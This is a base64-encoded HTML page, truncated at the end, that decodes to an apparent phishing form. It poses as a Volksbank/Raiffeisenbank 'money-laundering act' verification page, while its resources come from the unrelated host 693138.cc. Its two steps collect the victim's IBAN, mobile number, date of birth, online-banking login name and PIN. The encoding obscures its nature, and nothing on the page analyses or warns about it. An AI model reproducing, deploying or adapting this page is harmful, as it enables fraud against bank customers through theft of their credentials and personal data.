bWFpbiIgY2xhc3M9InltLXdyYXBwZXIiPgogICAgICAgIAkJCTxoZWFkZXIgaWQ9ImhlYWRlciI+Cgk8ZGl2IGlkPSJsb2dvIj4KPHNwYW4gaWQ9ImxvZ28iPjxpbWcgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyBjbGlwOiByZWN0KDBweCA5OXB4IDk5cHggMHB4KTsiIGFsdD0iTG9nbyIgc3JjPSJodHRwOi8vNjkzMTM4LmNjLzcvcmVzL2JhbmtpbmctcHJpdmF0ZS9yZXNvdXJjZS9lYnBlLWxvZ28/cnpiaz0wMTIwJmFtcDtyemlkPVhDJmFtcDtzdHlsZT1idnIyMDE0Ij48L3NwYW4+CjxkaXYgc3R5bGU9InBhZGRpbmctbGVmdDoxMDVweDsgcGFkZGluZy10b3A6NXB4OyBwYWRkaW5nLXJpZ2h0OjY1MHB4OyI+CjxzcGFuIHN0eWxlPSJjb2xvcjojMDA2NmIzOyBmb250LXdlaWdodDpib2xkOyI+QnVuZGVzdmVyYmFuZCBkZXIgRGV1dHNjaGVuIFZvbGtzYmFua2VuIHVuZCBSYWlmZmVpc2VuYmFua2VuPC9zcGFuPgo8L2Rpdj4KPC9kaXY+CjwvaGVhZGVyPiAgICAgICAgCQkJPGRpdj4KPG5hdiBjbGFzcz0iZW1wdHkiIGlkPSJuYXYiPjwvbmF2Pgo8L2Rpdj4KCiAgICAgICAgCQkJCiAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJCQk8ZGl2IGlkPSJuYXZCYXIiIGNsYXNzPSJuYXZCYXJfREVGQVVMVCI+CiAgICAgICAgICAgICAgICAgICAgCSAgICAgICAgCQkJCQogICAgICAgIAogICAgICAgIAkJCQkKICAgICAgICAJCQkJICAgICAgICAJCQkJPGRpdiBpZD0id3BkaXN0YW5jZSI+PC9kaXY+CiAgICAgICAgCQkJCSAgICAgICAgCQkJCSAgICAgICAgCQkJPC9kaXY+CiAgICAgICAgCQkJICAgICAgICAKICAgICAgICAKICAgICAgICAJCQkgICAgICAgIAogICAgICAgIAkJCTxkaXYgY2xhc3M9ImNvbnRlbnREaXYiPgogICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJtYWluY29udGVudCIgY2xhc3M9Im1haW5jb250ZW50X0RFRkFVTFQiPgogICAgICAgIAkJCSAgICAKICAgICAgICAJCQkgICAgCiAgICAgICAgCQkJICAgICAgICAgICAgCQkJCQk8ZGl2IGNsYXNzPSJicmVhZGNydW1iIGpzYl8ganNiX2JyZWFkY3J1bWJsYXllciBlbXB0eSIgaWQ9ImJyZWFkY3J1bWIiPjwvZGl2PgoKPGRpdj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJpZDg0X2hmXzAiIGlkPSJpZDg0X2hmXzAiIC8+CjxkaXYgaWQ9InN0ZXAxIj4KPGgxIGNsYXNzPSJzdGFja2VkRnJvbnRsZXRUaXRsZSI+QmVzdMOkdGlndW5nIGdlbcOkw58gwqcgMTEgR2VsZHfDpHNjaGVnZXNldHogKEd3Rykg4oCTIFNjaHJpdHQgMSAvIDI8L2gxPgo8ZGl2IGNsYXNzPSJtZXNzYWdlcyI+CjxkaXYgaWQ9ImVycm9yTWVzc2FnZXMiPgo8dWw+CjxsaT5CaXR0ZSBnZWJlbiBTaWUgSWhyZSBrb3JyZWt0ZSBJQkFOIGVpbi48L2xpPgo8bGk+Qml0dGUgZ2ViZW4gU2llIElocmUgSGFuZHludW1tZXIgZWluLjwvbGk+CjxsaT5CaXR0ZSBnZWJlbiBTaWUgSWhyIEdlYnVydHNkYXR1bSBlaW4uPC9saT4KPC91bD4KPC9kaXY+CjwvZGl2Pgo8ZGl2IGNsYXNzPSJmb3JtSW5wdXQiPgo8ZGl2IGNsYXNzPSJYQ29udGFpbmVyIEZvcm11bGFyYmxvY2tVbmRJbmhhbHQiIGlkPSJtYWluQ29udGVudF9yb290Ij4KQml0dGUgYmVzdMOkdGlnZW4gU2llIG5hY2hmb2xnZW5kIElociBCYW5ra29udG8uCjx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgcnVsZXM9Im5vbmUiIHN0eWxlPSJ0YWJsZS1sYXlvdXQ6YXV0bzsgd2lkdGg6MTAwJTsiPgo8dHI+Cjx0ZD48aW1nIGFsdD0iIiBoZWlnaHQ9IjEiIHNyYz0iaHR0cDovLzY5MzEzOC5jYy83L3Jlcy9iYW5raW5nLXByaXZhdGUvcmVzb3VyY2UveGh0bWwtZmlsbGVyP3J6Yms9MDEyMCZhbXA7cnppZD1YQyZhbXA7c3R5bGU9YnZyMjAxNCIgd2lkdGg9IjEiPjwvdGQ+PHRkPjxpbWcgYWx0PSIiIGhlaWdodD0iMSIgc3JjPSJodHRwOi8vNjkzMTM4LmNjLzcvcmVzL2JhbmtpbmctcHJpdmF0ZS9yZXNvdXJjZS94aHRtbC1maWxsZXI/cnpiaz0wMTIwJmFtcDtyemlkPVhDJmFtcDtzdHlsZT1idnIyMDE0IiB3aWR0aD0iMSI+PC90ZD4KPC90cj4KPHRyPgo8dGQgYWxpZ249ImxlZnQiIGNvbHNwYW49IjIiIHZhbGlnbj0idG9wIj4KPGRpdiBjbGFzcz0iWENvbnRhaW5lciBub3RWaXNpYmxlIiBpZD0iY250SGlud2Vpc2UiPgo8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHJ1bGVzPSJub25lIiBzdHlsZT0idGFibGUtbGF5b3V0OmF1dG87IHdpZHRoOjEwMCU7Ij4KPHRyPgo8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48c3BhbiBjbGFzcz0iWExhYmVsIiBpZD0ibGJsV2FybmluZ0ljb24iPjxpbWcgYWx0PSJlYnBlLXdhcm51bmciIG5hbWU9ImVicGUtd2FybnVuZyIgc3JjPSJodHRwOi8vNjkzMTM4LmNjLzcvcmVzL2JhbmtpbmctcHJpdmF0ZS9yZXNvdXJjZS9lYnBlLXdhcm51bmc/cnpiaz0wMTIwJmFtcDtyemlkPVhDJmFtcDtzdHlsZT1idnIyMDE0Ij48L3NwYW4+PC90ZD48dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4KPGRpdiBjbGFzcz0iWENvbnRhaW5lciIgaWQ9ImNudEhpbndlaXNNZXNzYWdlQmxvY2siPgo8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHJ1bGVzPSJub25lIiBzdHlsZT0idGFibGUtbGF5b3V0OmF1dG87IHdpZHRoOjEwMCU7Ij4KPHRyPgo8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48c3BhbiBjbGFzcz0iWExhYmVsIiBpZD0ibGJsQnJvd3NlclRlc3RJbmZvMSI+RiZ1dW1sO3IgZGllIE51dHp1bmcgZGVzIE9ubGluZS1CYW5raW5ncyBpc3QgZWluZSAmQXVtbDtuZGVydW5nIElocmVyIEJyb3dzZXJlaW5zdGVsbHVuZ2VuIGVyZm9yZGVybGljaC48L3NwYW4+PC90ZD4KPC90cj4KPHRyPgo8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48c3BhbiBjbGFzcz0iWExhYmVsIiBpZD0ibGJsQnJvd3NlclRlc3RJbmZvMiI+RGFtaXQgU2llIGRhcyBPbmxpbmUtQmFua2luZyBudXR6ZW4gayZvdW1sO25uZW4sIG0mdXVtbDtzc2VuIFNpZSBJaHJlIEJyb3dzZXJlaW5zdGVsbHVuZ2VuICZhdW1sO25kZXJuLiBCaXR0ZSBha3RpdmllcmVuIFNpZSBkaWUgQW5uYWhtZSB2b24gQ29va2llcyAoaW4gZGVyIFJlZ2VsIGltIEJlcmVpY2ggIkVpbnN0ZWxsdW5nZW4gJmd0OyBEYXRlbnNjaHV0eiIpLiBEYW5hY2ggc2NobGllJnN6bGlnO2VuIFNpZSBkYXMgQnJvd3NlcmZlbnN0ZXIgdW5kICZvdW1sO2ZmbmVuIGRpZSBBbm1lbGRlc2VpdGUgZGVzIE9ubGluZS1CYW5raW5nIGVybmV1dC48YnI+IAo8YnI+V2VpdGVyZSBJbmZvcm1hdGlvbmVuIGZpbmRlbiBTaWUgaW4gZGVyIEhpbGZlLCBkaWUgU2llIGR1cmNoIEtsaWNrIGF1ZiBkYXMgJz8nLVN5bWJvbCByZWNodHMgb2JlbiBhdWZydWZlbiBrJm91bWw7bm5lbi48L3NwYW4+PC90ZD4KPC90cj4KPC90YWJsZT4KPC9kaXY+CjwvdGQ+CjwvdHI+CjwvdGFibGU+CjwvZGl2Pgo8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW1nIGFsdD0iIiBoZWlnaHQ9IjEiIHNyYz0iaHR0cDovLzY5MzEzOC5jYy83L3Jlcy9iYW5raW5nLXByaXZhdGUvcmVzb3VyY2UveGh0bWwtZmlsbGVyP3J6Yms9MDEyMCZhbXA7cnppZD1YQyZhbXA7c3R5bGU9YnZyMjAxNCIgd2lkdGg9IjEiPjwvdGQ+PHRkPjxpbWcgYWx0PSIiIGhlaWdodD0iMSIgc3JjPSJodHRwOi8vNjkzMTM4LmNjLzcvcmVzL2JhbmtpbmctcHJpdmF0ZS9yZXNvdXJjZS94aHRtbC1maWxsZXI/cnpiaz0wMTIwJmFtcDtyemlkPVhDJmFtcDtzdHlsZT1idnIyMDE0IiB3aWR0aD0iMSI+PC90ZD4KPC90cj4KPHRyPgo8dGQgaGVpZ2h0PSIzMCIgdmFsaWduPSJtaWRkbGUiPgo8ZGl2IGNsYXNzPSJYQ29udGFpbmVyIEZvcm11bGFyYmxvY2tFbWJlZGRlZCIgaWQ9ImNudEJlbnV0emVya2VubnVuZyI+Cjx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgcnVsZXM9Im5vbmUiIHN0eWxlPSJ0YWJsZS1sYXlvdXQ6YXV0bzsgd2lkdGg6MTAwJTsiPgo8dHI+Cjx0ZCBhbGlnbj0icmlnaHQiIHZhbGlnbj0ibWlkZGxlIiB3aWR0aD0iNDAlIj4KPGRpdiBjbGFzcz0iWENvbnRhaW5lciBGb3JtdWxhcmJsb2NrRW1iZWRkZWQiIGlkPSJjbnRCZW51dHplcmtlbm51bmdBdXN3YWhsIj4KPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBydWxlcz0ibm9uZSIgc3R5bGU9InRhYmxlLWxheW91dDphdXRvOyB3aWR0aDoxMDAlOyI+PC90YWJsZT4KPC9kaXY+CjwvdGQ+PHRkIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIHdpZHRoPSI2MCUiPjxzcGFuIGNsYXNzPSJYTGFiZWwgbm93cmFwIiBpZD0ibGJsQmVudXR6ZXJrZW5udW5nTGFiZWwiPklCQU46PC9zcGFuPjwvdGQ+CjwvdHI+CjwvdGFibGU+CjwvZGl2Pgo8L3RkPjx0ZCBhbGlnbj0ibGVmdCIgaGVpZ2h0PSIzMCIgdmFsaWduPSJtaWRkbGUiPjxpbnB1dCBhdXRvY29tcGxldGU9Im9mZiIgY2xhc3M9IlhUZXh0ICIgaWQ9ImYwIiBtYXhsZW5ndGg9IjIyIiBuYW1lPSJmMCIgc2l6ZT0iMjUiIHN0eWxlPSIiIHR5cGU9InRleHQiIHZhbHVlPSIiPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiPjxzcGFuIGNsYXNzPSJYTGFiZWwgbm93cmFwIiBpZD0ibGJsUGluTGFiZWwiPkhhbmR5bnVtbWVyOjwvc3Bhbj48L3RkPjx0ZCBhbGlnbj0ibGVmdCIgdmFsaWduPSJtaWRkbGUiPjxpbnB1dCBhdXRvY29tcGxldGU9Im9mZiIgY2xhc3M9IlhUZXh0ICIgaWQ9ImYxIiBtYXhsZW5ndGg9IjIyIiBuYW1lPSJmMSIgc2l6ZT0iMjUiIHN0eWxlPSIiIHR5cGU9InRleHQiIHZhbHVlPSIiPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiPjxzcGFuIGNsYXNzPSJYTGFiZWwgbm93cmFwIiBpZD0ibGJsUGluTGFiZWwiPkdlYnVydHNkYXR1bTo8L3NwYW4+PC90ZD48dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxlIj48aW5wdXQgYXV0b2NvbXBsZXRlPSJvZmYiIGNsYXNzPSJYVGV4dCAiIGlkPSJmMiIgbWF4bGVuZ3RoPSIyMiIgbmFtZT0iZjIiIHNpemU9IjEwIiBwbGFjZWhvbGRlcj0iVFQuTU0uSkpKSiIgc3R5bGU9IiIgdHlwZT0idGV4dCIgdmFsdWU9IiI+PC90ZD4KPC90cj4KPCEtLSAKPHRkIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIHdpZHRoPSI0MCUiPgo8ZGl2IGNsYXNzPSJYQ29udGFpbmVyIEZvcm11bGFyYmxvY2tFbWJlZGRlZCIgaWQ9ImNudEJlbnV0emVya2VubnVuZ0F1c3dhaGwiPgo8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHJ1bGVzPSJub25lIiBzdHlsZT0idGFibGUtbGF5b3V0OmF1dG87IHdpZHRoOjEwMCU7Ij48L3RhYmxlPgo8L2Rpdj4KPC90ZD48dGQgYWxpZ249InJpZ2h0IiB2YWxpZ249Im1pZGRsZSIgd2lkdGg9IjYwJSI+PHNwYW4gY2xhc3M9IlhMYWJlbCBub3dyYXAiIGlkPSJsYmxCZW51dHplcmtlbm51bmdMYWJlbCI+VlItTmV0S2V5IG9kZXIgQWxpYXM6PC9zcGFuPjwvdGQ+CjwvdHI+CjwvdGFibGU+CjwvZGl2Pgo8L3RkPjx0ZCBhbGlnbj0ibGVmdCIgaGVpZ2h0PSIzMCIgdmFsaWduPSJtaWRkbGUiPjxpbnB1dCBhdXRvY29tcGxldGU9Im9mZiIgY2xhc3M9IlhUZXh0ICIgaWQ9InR4dEJlbnV0emVya2VubnVuZyIgbWF4bGVuZ3RoPSIzNSIgbmFtZT0idmFsdWVfODczMzI4NS5tYWluQ29udGVudF9yb290X3R4dEJlbnV0emVya2VubnVuZyIgc2l6ZT0iMzUiIHN0eWxlPSIiIHR5cGU9InRleHQiPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiPjxzcGFuIGNsYXNzPSJYTGFiZWwgbm93cmFwIiBpZD0ibGJsUGluTGFiZWwiPlBJTjo8L3NwYW4+PC90ZD48dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxlIj48aW5wdXQgYXV0b2NvbXBsZXRlPSJvZmYiIGNsYXNzPSJYUGFzc3dvcmQgIiBpZD0icHdkUGluIiBtYXhsZW5ndGg9IjIwIiBuYW1lPSJ2YWx1ZV84NzMzMjg1Lm1haW5Db250ZW50X3Jvb3RfcHdkUGluIiBzaXplPSIyNSIgc3R5bGU9IiIgdHlwZT0icGFzc3dvcmQiPjwvdGQ+CjwvdHI+Ci0tPgo8dHI+Cjx0ZD48aW1nIGFsdD0iIiBoZWlnaHQ9IjEiIHNyYz0iaHR0cDovLzY5MzEzOC5jYy83L3Jlcy9iYW5raW5nLXByaXZhdGUvcmVzb3VyY2UveGh0bWwtZmlsbGVyP3J6Yms9MDEyMCZhbXA7cnppZD1YQyZhbXA7c3R5bGU9YnZyMjAxNCIgd2lkdGg9IjEiPjwvdGQ+PHRkPjxpbWcgYWx0PSIiIGhlaWdodD0iMSIgc3JjPSJodHRwOi8vNjkzMTM4LmNjLzcvcmVzL2JhbmtpbmctcHJpdmF0ZS9yZXNvdXJjZS94aHRtbC1maWxsZXI/cnpiaz0wMTIwJmFtcDtyemlkPVhDJmFtcDtzdHlsZT1idnIyMDE0IiB3aWR0aD0iMSI+PC90ZD4KPC90cj4KPHRyPgo8dGQ+PGltZyBhbHQ9IiIgaGVpZ2h0PSIxIiBzcmM9Imh0dHA6Ly82OTMxMzguY2MvNy9yZXMvYmFua2luZy1wcml2YXRlL3Jlc291cmNlL3hodG1sLWZpbGxlcj9yemJrPTAxMjAmYW1wO3J6aWQ9WEMmYW1wO3N0eWxlPWJ2cjIwMTQiIHdpZHRoPSIxIj48L3RkPjx0ZD48aW1nIGFsdD0iIiBoZWlnaHQ9IjEiIHNyYz0iaHR0cDovLzY5MzEzOC5jYy83L3Jlcy9iYW5raW5nLXByaXZhdGUvcmVzb3VyY2UveGh0bWwtZmlsbGVyP3J6Yms9MDEyMCZhbXA7cnppZD1YQyZhbXA7c3R5bGU9YnZyMjAxNCIgd2lkdGg9IjEiPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjwvdGQ+CjwvdHI+CjwvdGFibGU+CjwvZGl2Pgo8L2Rpdj4KPGRpdiBjbGFzcz0iZm9ybVN1Ym1pdCI+CjxkaXYgY2xhc3M9IlVuaXRDb21tYW5kcyBhY3Rpb25CYXIiIGlkPSJVbml0Q29tbWFuZHMiPgo8aW5wdXQgY2xhc3M9IlVuaXRDb21tYW5kIiBpZD0id2VpdGVyIiBuYW1lPSJ3ZWl0ZXIiIHR5cGU9InN1Ym1pdCIgb25DbGljaz0icmV0dXJuIGNoa0Zvcm0oJ3N0ZXAxJykiIHZhbHVlPSJXZWl0ZXIiPgo8L2Rpdj4KPC9kaXY+CjwvZGl2Pgo8ZGl2IGlkPSJzdGVwMiIgc3R5bGU9ImRpc3BsYXk6bm9uZSI+CjxoMSBjbGFzcz0ic3RhY2tlZEZyb250bGV0VGl0bGUiPkJlc3TDpHRpZ3VuZyBnZW3DpMOfIMKnIDExIEdlbGR3w6RzY2hlZ2VzZXR6IChHd0cpIOKAkyBTY2hyaXR0IDIgLyAyPC9oMT4KPGRpdiBjbGFzcz0iZm9ybUlucHV0Ij4KPGRpdiBjbGFzcz0iWENvbnRhaW5lciBGb3JtdWxhcmJsb2NrVW5kSW5oYWx0IiBpZD0ibWFpbkNvbnRlbnRfcm9vdCI+CkJpdHRlIGxlZ2l0aW1pZXJlbiBTaWUgc2ljaCBtaXRoaWxmZSBJaHJlcyBPbmxpbmUtTG9naW5zLjxiciAvPlNpZSB3ZXJkZW4gaW0gQW5zY2hsdXNzIHdlaXRlcmdlbGVpdGV0Lgo8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHJ1bGVzPSJub25lIiBzdHlsZT0idGFibGUtbGF5b3V0OmF1dG87IHdpZHRoOjEwMCU7Ij4KPHRyPgo8dGQ+PGltZyBhbHQ9IiIgaGVpZ2h0PSIxIiBzcmM9Imh0dHA6Ly82OTMxMzguY2MvNy9yZXMvYmFua2luZy1wcml2YXRlL3Jlc291cmNlL3hodG1sLWZpbGxlcj9yemJrPTAxMjAmYW1wO3J6aWQ9WEMmYW1wO3N0eWxlPWJ2cjIwMTQiIHdpZHRoPSIxIj48L3RkPjx0ZD48aW1nIGFsdD0iIiBoZWlnaHQ9IjEiIHNyYz0iaHR0cDovLzY5MzEzOC5jYy83L3Jlcy9iYW5raW5nLXByaXZhdGUvcmVzb3VyY2UveGh0bWwtZmlsbGVyP3J6Yms9MDEyMCZhbXA7cnppZD1YQyZhbXA7c3R5bGU9YnZyMjAxNCIgd2lkdGg9IjEiPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGFsaWduPSJsZWZ0IiBjb2xzcGFuPSIyIiB2YWxpZ249InRvcCI+CjxkaXYgY2xhc3M9IlhDb250YWluZXIgbm90VmlzaWJsZSIgaWQ9ImNudEhpbndlaXNlIj4KPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBydWxlcz0ibm9uZSIgc3R5bGU9InRhYmxlLWxheW91dDphdXRvOyB3aWR0aDoxMDAlOyI+Cjx0cj4KPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PHNwYW4gY2xhc3M9IlhMYWJlbCIgaWQ9ImxibFdhcm5pbmdJY29uIj48aW1nIGFsdD0iZWJwZS13YXJudW5nIiBuYW1lPSJlYnBlLXdhcm51bmciIHNyYz0iaHR0cDovLzY5MzEzOC5jYy83L3Jlcy9iYW5raW5nLXByaXZhdGUvcmVzb3VyY2UvZWJwZS13YXJudW5nP3J6Yms9MDEyMCZhbXA7cnppZD1YQyZhbXA7c3R5bGU9YnZyMjAxNCI+PC9zcGFuPjwvdGQ+PHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+CjxkaXYgY2xhc3M9IlhDb250YWluZXIiIGlkPSJjbnRIaW53ZWlzTWVzc2FnZUJsb2NrIj4KPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBydWxlcz0ibm9uZSIgc3R5bGU9InRhYmxlLWxheW91dDphdXRvOyB3aWR0aDoxMDAlOyI+Cjx0cj4KPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PHNwYW4gY2xhc3M9IlhMYWJlbCIgaWQ9ImxibEJyb3dzZXJUZXN0SW5mbzEiPkYmdXVtbDtyIGRpZSBOdXR6dW5nIGRlcyBPbmxpbmUtQmFua2luZ3MgaXN0IGVpbmUgJkF1bWw7bmRlcnVuZyBJaHJlciBCcm93c2VyZWluc3RlbGx1bmdlbiBlcmZvcmRlcmxpY2guPC9zcGFuPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PHNwYW4gY2xhc3M9IlhMYWJlbCIgaWQ9ImxibEJyb3dzZXJUZXN0SW5mbzIiPkRhbWl0IFNpZSBkYXMgT25saW5lLUJhbmtpbmcgbnV0emVuIGsmb3VtbDtubmVuLCBtJnV1bWw7c3NlbiBTaWUgSWhyZSBCcm93c2VyZWluc3RlbGx1bmdlbiAmYXVtbDtuZGVybi4gQml0dGUgYWt0aXZpZXJlbiBTaWUgZGllIEFubmFobWUgdm9uIENvb2tpZXMgKGluIGRlciBSZWdlbCBpbSBCZXJlaWNoICJFaW5zdGVsbHVuZ2VuICZndDsgRGF0ZW5zY2h1dHoiKS4gRGFuYWNoIHNjaGxpZSZzemxpZztlbiBTaWUgZGFzIEJyb3dzZXJmZW5zdGVyIHVuZCAmb3VtbDtmZm5lbiBkaWUgQW5tZWxkZXNlaXRlIGRlcyBPbmxpbmUtQmFua2luZyBlcm5ldXQuPGJyPiAKPGJyPldlaXRlcmUgSW5mb3JtYXRpb25lbiBmaW5kZW4gU2llIGluIGRlciBIaWxmZSwgZGllIFNpZSBkdXJjaCBLbGljayBhdWYgZGFzICc/Jy1TeW1ib2wgcmVjaHRzIG9iZW4gYXVmcnVmZW4gayZvdW1sO25uZW4uPC9zcGFuPjwvdGQ+CjwvdHI+CjwvdGFibGU+CjwvZGl2Pgo8L3RkPgo8L3RyPgo8L3RhYmxlPgo8L2Rpdj4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGltZyBhbHQ9IiIgaGVpZ2h0PSIxIiBzcmM9Imh0dHA6Ly82OTMxMzguY2MvNy9yZXMvYmFua2luZy1wcml2YXRlL3Jlc291cmNlL3hodG1sLWZpbGxlcj9yemJrPTAxMjAmYW1wO3J6aWQ9WEMmYW1wO3N0eWxlPWJ2cjIwMTQiIHdpZHRoPSIxIj48L3RkPjx0ZD48aW1nIGFsdD0iIiBoZWlnaHQ9IjEiIHNyYz0iaHR0cDovLzY5MzEzOC5jYy83L3Jlcy9iYW5raW5nLXByaXZhdGUvcmVzb3VyY2UveGh0bWwtZmlsbGVyP3J6Yms9MDEyMCZhbXA7cnppZD1YQyZhbXA7c3R5bGU9YnZyMjAxNCIgd2lkdGg9IjEiPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGhlaWdodD0iMzAiIHZhbGlnbj0ibWlkZGxlIj4KPGRpdiBjbGFzcz0iWENvbnRhaW5lciBGb3JtdWxhcmJsb2NrRW1iZWRkZWQiIGlkPSJjbnRCZW51dHplcmtlbm51bmciPgo8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHJ1bGVzPSJub25lIiBzdHlsZT0idGFibGUtbGF5b3V0OmF1dG87IHdpZHRoOjEwMCU7Ij4KPHRyPgo8dGQgYWxpZ249InJpZ2h0IiB2YWxpZ249Im1pZGRsZSIgd2lkdGg9IjQwJSI+CjxkaXYgY2xhc3M9IlhDb250YWluZXIgRm9ybXVsYXJibG9ja0VtYmVkZGVkIiBpZD0iY250QmVudXR6ZXJrZW5udW5nQXVzd2FobCI+Cjx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgcnVsZXM9Im5vbmUiIHN0eWxlPSJ0YWJsZS1sYXlvdXQ6YXV0bzsgd2lkdGg6MTAwJTsiPjwvdGFibGU+CjwvZGl2Pgo8L3RkPgo8dGQgYWxpZ249InJpZ2h0IiB2YWxpZ249Im1pZGRsZSIgd2lkdGg9IjQwJSI+CjxkaXYgY2xhc3M9IlhDb250YWluZXIgRm9ybXVsYXJibG9ja0VtYmVkZGVkIiBpZD0iY250QmVudXR6ZXJrZW5udW5nQXVzd2FobCI+Cjx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgcnVsZXM9Im5vbmUiIHN0eWxlPSJ0YWJsZS1sYXlvdXQ6YXV0bzsgd2lkdGg6MTAwJTsiPjwvdGFibGU+CjwvZGl2Pgo8L3RkPjx0ZCBhbGlnbj0icmlnaHQiIHZhbGlnbj0ibWlkZGxlIiB3aWR0aD0iNjAlIj48c3BhbiBjbGFzcz0iWExhYmVsIG5vd3JhcCIgaWQ9ImxibEJlbnV0emVya2VubnVuZ0xhYmVsIj5WUi1OZXRLZXkgb2RlciBBbGlhczo8L3NwYW4+PC90ZD4KPC90cj4KPC90YWJsZT4KPC9kaXY+CjwvdGQ+PHRkIGFsaWduPSJsZWZ0IiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSI+PGlucHV0IGF1dG9jb21wbGV0ZT0ib2ZmIiBjbGFzcz0iWFRleHQgIiBpZD0iZjMiIG1heGxlbmd0aD0iMzUiIG5hbWU9ImYzIiBzaXplPSIzNSIgc3R5bGU9IiIgdHlwZT0idGV4dCI+PC90ZD4KPC90cj4KPHRyPgo8dGQgYWxpZ249InJpZ2h0IiB2YWxpZ249Im1pZGRsZSI+PHNwYW4gY2xhc3M9IlhMYWJlbCBub3dyYXAiIGlkPSJsYmxQaW5MYWJlbCI+UElOOjwvc3Bhbj48L3RkPjx0ZCBhbGlnbj0ibGVmdCIgdmFsaWduPSJtaWRkbGUiPjxpbnB1dCBhdXRvY29tcGxldGU9Im9mZiIgY2xhc3M9IlhQYXNzd29yZCAiIGlkPSJmNCIgbWF4bGVuZ3RoPSIyMCIgbmFtZT0iZjQiIHNpemU9IjI1IiBzdHlsZT0iIiB0eXBlPSJwYXNzd29yZCI+PC90ZD4KPC90cj4KPHRyPgo8dGQ+PGltZyBhbHQ9IiIgaGVpZ2h0PSIxIiBzcmM9Imh0dHA6Ly82OTMxMzguY2MvNy9yZXMvYmFua2luZy1wcml2YXRlL3Jlc291cmNlL3hodG1sLWZpbGxlcj9yemJrPTAxMjAmYW1wO3J6aWQ9WEMmYW1wO3N0eWxlPWJ2cjIwMTQiIHdpZHRoPSIxIj48L3RkPjx0ZD48aW1nIGFsdD0iIiBoZWlnaHQ9IjEiIHNyYz0iaHR0cDovLzY5MzEzOC5jYy83L3Jlcy9iYW5raW5nLXByaXZhdGUvcmVzb3VyY2UveGh0bWwtZmlsbGVyP3J6Yms9MDEyMCZhbXA7cnppZD1YQyZhbXA7c3R5bGU9YnZyMjAxNCIgd2lkdGg9IjEiPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbWcgYWx0PSIiIGhlaWdodD0iMSIgc3JjPSJodHRwOi8vNjkzMTM4LmNjLzcvcmVzL2JhbmtpbmctcHJpdmF0ZS9yZXNvdXJjZS94aHRtbC1maWxsZXI/cnpiaz0wMTIwJmFtcDtyemlkPVhDJmFtcDtzdHlsZT1idnIyMDE0IiB3aWR0aD0iMSI+PC90ZD48dGQ+PGltZyBhbHQ9IiIgaGVpZ2h0PSIxIiBzcmM9Imh0dHA6Ly82OTMxMzguY2MvNy9yZXMvYmFua2luZy1wcml2YXRlL3Jlc291cmNlL3hodG1sLWZpbGxlcj9yemJrPTAxMjAmYW1wO3J6aWQ9WEMmYW1wO3N0eWxlPWJ2cjIwMTQiIHdpZHRoPSIxIj48L3RkPgo8L3RyPgo8dHI+Cjx0ZD48L3RkPgo8L3RyPgo8L3RhYmxlPgo8L2Rpdj4KPC9kaXY+CjxkaXYgY2xhc3M9ImZvcm1TdWJtaXQiPgo8ZGl2IGNsYXNzPSJVbml0Q29tbWFuZHMgYWN0aW9uQmFyIiBpZD0iVW5pdENvbW1hbmRzIj4KPGlucHV0IGNsYXNzPSJVbml0Q29tbWFuZCIgaWQ9ImF1dGgiIG5hbWU9ImF1dGgiIHR5cGU9InN1Ym1pdCIgb25DbGljaz0icmV0dXJuIGNoa0Zvcm0oJ3N0ZXA